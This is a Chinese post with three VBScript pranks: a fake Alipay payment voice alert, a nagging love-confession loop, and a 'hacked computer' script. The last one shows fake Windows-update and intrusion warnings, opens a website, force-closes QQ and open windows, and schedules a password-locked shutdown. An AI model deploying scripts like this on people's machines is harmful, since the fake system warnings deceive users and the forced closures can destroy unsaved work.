新建一个文本文档，输入以下代码：
CreateObject("SAPI.SpVoice").Speak"支付宝到账，一百万元"
另存为支付宝到账.vbs文件，选择保存类型为所有文件，选择ANSI编码。
惊喜.vbs
msgbox"我有一件事想跟你说"
msgbox("自从第一天见你，我便对你难以忘怀!")
msgbox("我喜欢上了你")
msgbox("我希望你能接受我的爱意")
dim j
do while j<1
Select Case msgbox("2022我们在一起好吗",68,"")
Case 6 j=1
Case 7 msgbox("你再考虑下呗")
end Select
loop
msgbox("爱你!!!")
弹窗认父.vbs
Set ws=WScript.CreateObject("WScript.Shell")
ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10
ws.popup"正在下载windows更新……",12
wscript.sleep 5000
ws.popup"windows更新已下载完毕，正在安装更新……",12
wscript.sleep 1000
ws.popup"windows更新安装成功！",vbinfmation,20
msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation
ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64
ws.popup"不信？我用你的电脑打开网站给你看看",10
ws.run"http://sunxiao.0fees.net/"
ws.popup"唉:-(( ⊙ o ⊙ )！ 886",30
ws.popup"下机可不能忘了关QQ 我把你QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 50000"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="啸傲江湖" then
ws.run"shutdown -a"
msgbox"密码验证成功，enjoy the best!"
exit do
else
msgbox"密码验证失败，请输入解除关机密码：啸傲江湖 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？我还没那么大本事能做出病毒来！",57
ws.popup"好啦~，跟你开了个小小玩笑。我们感情还在的。",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "你大哥还在偷偷看着你呢，他想听你叫声哥哥！",16+4096,"系统提示："
wscript.sleep 1000*45
loop